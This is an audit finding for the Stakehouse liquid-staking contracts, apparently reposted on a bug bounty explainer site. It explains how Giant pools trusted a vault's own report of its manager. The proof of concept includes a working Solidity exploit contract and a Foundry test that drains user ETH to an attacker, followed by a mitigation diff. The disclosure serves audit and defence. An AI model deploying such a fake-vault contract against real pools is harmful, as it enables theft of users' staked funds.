Giant pools can be drained due to weak vault authenticity check
The Giant pools checked a vault's authenticity by calling a function on the vault itself, so an attacker could supply a fake contract that returned a valid manager address and receive the pool's ETH. The attacker could then withdraw all ETH staked by users in the pool.
Submitted by Jeiwan, also found by Trust, datapunk, immeas, JTJabba, arcoun, bin2chen, imare, wait, unforgiven, satoshipotato, ronnyx2017, Lambda, hihen, bitbopper, fs0c, banky, 9svR6w, c7e7eff, perseverancesuccess, 0xdeadbeef0x, and clems4ever
https://github.com/code-423n4/2022-11-stakehouse/blob/5f853d055d7aa1bebe9e24fd0e863ef58c004339/contracts/liquid-staking/GiantSavETHVaultPool.sol#L50 https://github.com/code-423n4/2022-11-stakehouse/blob/5f853d055d7aa1bebe9e24fd0e863ef58c004339/contracts/liquid-staking/GiantMevAndFeesPool.sol#L44
An attacker can withdraw all ETH staked by users in a Giant pool. Both GiantSavETHVaultPool and GiantMevAndFeesPool are affected.
Proof of Concept
The batchDepositETHForStaking function in the Giant pools check whether a provided vault is authentic by validating its liquid staking manager contract and sends funds to the vault when the check passes (GiantSavETHVaultPool.sol#L48-L58):
SavETHVault savETHPool = SavETHVault(_savETHVaults[i]);
require(
liquidStakingDerivativeFactory.isLiquidStakingManager(address(savETHPool.liquidStakingManager())),
"Invalid liquid staking manager"
);
// Deposit ETH for staking of BLS key
savETHPool.batchDepositETHForStaking{ value: transactionAmount }(
_blsPublicKeys[i],
_stakeAmounts[i]
);
An attacker can pass an exploit contract as a vault. The exploit contract will implement liquidStakingManager that will return a valid staking manager contract address to trick a Giant pool into sending ETH to the exploit contract:
// test/foundry/GiantPools.t.sol
contract GiantPoolExploit {
address immutable owner = msg.sender;
address validStakingManager;
constructor(address validStakingManager_) {
validStakingManager = validStakingManager_;
}
function liquidStakingManager() public view returns (address) {
return validStakingManager;
}
function batchDepositETHForStaking(bytes[] calldata /*_blsPublicKeyOfKnots*/, uint256[] calldata /*_amounts*/) external payable {
payable(owner).transfer(address(this).balance);
}
}
function testPoolDraining_AUDIT() public {
// Register BLS key
address nodeRunner = accountOne; vm.deal(nodeRunner, 12 ether);
registerSingleBLSPubKey(nodeRunner, blsPubKeyOne, accountFour);
// Set up users and ETH
address savETHUser = accountThree; vm.deal(savETHUser, 24 ether);
address attacker = address(0x1337);
vm.label(attacker, "attacker");
vm.deal(attacker, 1 ether);
// User deposits ETH into Giant savETH
vm.prank(savETHUser);
giantSavETHPool.depositETH{value: 24 ether}(24 ether);
assertEq(giantSavETHPool.lpTokenETH().balanceOf(savETHUser), 24 ether);
assertEq(address(giantSavETHPool).balance, 24 ether);
// Attacker deploys an exploit.
vm.startPrank(attacker);
GiantPoolExploit exploit = new GiantPoolExploit(address(manager));
vm.stopPrank();
// Attacker calls `batchDepositETHForStaking` to deposit ETH to their exploit contract.
bytes[][] memory blsKeysForVaults = new bytes[][](1);
blsKeysForVaults[0] = getBytesArrayFromBytes(blsPubKeyOne);
uint256[][] memory stakeAmountsForVaults = new uint256[][](1);
stakeAmountsForVaults[0] = getUint256ArrayFromValues(24 ether);
giantSavETHPool.batchDepositETHForStaking(
getAddressArrayFromValues(address(exploit)),
getUint256ArrayFromValues(24 ether),
blsKeysForVaults,
stakeAmountsForVaults
);
// Vault got nothing.
assertEq(address(manager.savETHVault()).balance, 0 ether);
// Attacker has stolen user's deposit.
assertEq(attacker.balance, 25 ether);
}
Recommended Mitigation Steps
Consider taking a list of LiquidStakingManager addresses instead of vault addresses:
--- a/contracts/liquid-staking/GiantSavETHVaultPool.sol
+++ b/contracts/liquid-staking/GiantSavETHVaultPool.sol
@@ -27,12 +28,12 @@ contract GiantSavETHVaultPool is StakehouseAPI, GiantPoolBase {
/// @param _blsPublicKeys For every savETH vault, the list of BLS keys of LSDN validators receiving funding
/// @param _stakeAmounts For every savETH vault, the amount of ETH each BLS key will receive in funding
function batchDepositETHForStaking(
- address[] calldata _savETHVaults,
+ address[] calldata _liquidStakingManagers,
uint256[] calldata _ETHTransactionAmounts,
bytes[][] calldata _blsPublicKeys,
uint256[][] calldata _stakeAmounts
) public {
- uint256 numOfSavETHVaults = _savETHVaults.length;
+ uint256 numOfSavETHVaults = _liquidStakingManagers.length;
require(numOfSavETHVaults > 0, "Empty arrays");
require(numOfSavETHVaults == _ETHTransactionAmounts.length, "Inconsistent array lengths");
require(numOfSavETHVaults == _blsPublicKeys.length, "Inconsistent array lengths");
@@ -40,16 +41,18 @@ contract GiantSavETHVaultPool is StakehouseAPI, GiantPoolBase {
// For every vault specified, supply ETH for at least 1 BLS public key of a LSDN validator
for (uint256 i; i < numOfSavETHVaults; ++i) {
+ require(
+ liquidStakingDerivativeFactory.isLiquidStakingManager(_liquidStakingManagers[i]),
+ "Invalid liquid staking manager"
+ );
+
uint256 transactionAmount = _ETHTransactionAmounts[i];
// As ETH is being deployed to a savETH pool vault, it is no longer idle
idleETH -= transactionAmount;
- SavETHVault savETHPool = SavETHVault(_savETHVaults[i]);
- require(
- liquidStakingDerivativeFactory.isLiquidStakingManager(address(savETHPool.liquidStakingManager())),
- "Invalid liquid staking manager"
- );
+ LiquidStakingManager liquidStakingManager = LiquidStakingManager(payable(_liquidStakingManagers[i]));
+ SavETHVault savETHPool = liquidStakingManager.savETHVault();
// Deposit ETH for staking of BLS key
savETHPool.batchDepositETHForStaking{ value: transactionAmount }(
vince0656 (Stakehouse) confirmed
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
The pool trusted a value returned by the untrusted contract it was validating, instead of checking a trusted registry directly.
Impact
An attacker could drain all ETH staked by users in both GiantSavETHVaultPool and GiantMevAndFeesPool.
What the attacker needed
Attacker can deploy a contract; pool holds user ETH
The fix
The pool should accept a list of trusted LiquidStakingManager addresses, validate each against the factory, and derive the vault from the manager rather than trusting the vault's own answer.
How it was found
- A user deposits ETH into the Giant savETH pool.
- The attacker deploys a contract that returns a valid staking manager address from its liquidStakingManager function and forwards received ETH to the attacker.
- The attacker calls batchDepositETHForStaking with the exploit contract as the vault.
- The pool's check passes and it sends the ETH to the exploit contract, which transfers it to the attacker.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
A smart contract can call another contract to ask it a question. Here the pool asked the vault 'who is your manager?' but the vault was controlled by the attacker, so it lied and gave a real manager's address. The pool believed it and sent the money to the attacker's contract.
What is Access control?
A user can do something their role should not allow: reach an admin function, act on a feature they have not paid for, or skip a permission check. IDOR is the special case where the object belongs to someone else.